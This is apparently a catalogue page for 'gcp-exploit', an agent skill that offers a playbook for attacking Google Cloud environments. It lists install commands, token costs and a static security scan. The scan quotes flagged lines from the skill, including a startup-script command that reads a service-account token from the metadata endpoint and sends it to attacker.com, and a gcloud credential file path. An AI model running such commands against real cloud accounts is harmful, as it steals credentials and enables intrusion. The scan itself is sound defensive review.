gcp-exploit

A playbook for attacking Google Cloud Platform (GCP) environments, including service accounts, instance metadata, storage buckets, and Kubernetes Engine (GKE).

In plain words
What is it for?
It helps security testers assess GCP assets, enumerate storage buckets, examine IAM permissions, retrieve service-account credentials, and test GKE escape risks.
Why use it?
It explains how to investigate and use common GCP weaknesses, such as exposed credentials, excessive permissions, and unsafe container settings.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/wgpsec/aboutsecurity/gcp-exploit
Any agent
npx skills add wgpsec/AboutSecurity --skill gcp-exploit
Clone the repo
git clone --depth 1 https://github.com/wgpsec/AboutSecurity

Made for: Claude Code, Codex.

Per session 60 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,788 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00060 $0.01788
Opus 5 $0.00030 $0.00894
Sonnet 5 $0.00012 $0.00358
Haiku 4.5 $0.00006 $0.00179

Measured 2d ago against content hash ecb78cca5f9d, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

gcp-exploit scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

--metadata=startup-script='curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/service-accounts/default/token > /tmp/token; curl https://attacker.com/exfil -d @/tmp/token'

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

# /root/.config/gcloud/application_default_credentials.json

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://metadata.google.internal/computeMetadata/v1/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -H "Metadata-Flavor: Google" \
skills/cloud/gcp-exploit/SKILL.md · 198 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 198 lines · 60 tokens per session scan C ecb78cca5f9d

Subscribe to this mod's changes

gcp-exploit is a skill published in the GitHub repository wgpsec/AboutSecurity (1,709 stars, last pushed 2d ago), with no licence file. It adds 60 tokens to every session and 1,788 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it C with 4 findings (sends data to an external url, reaches for credential files, cloud metadata endpoint). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.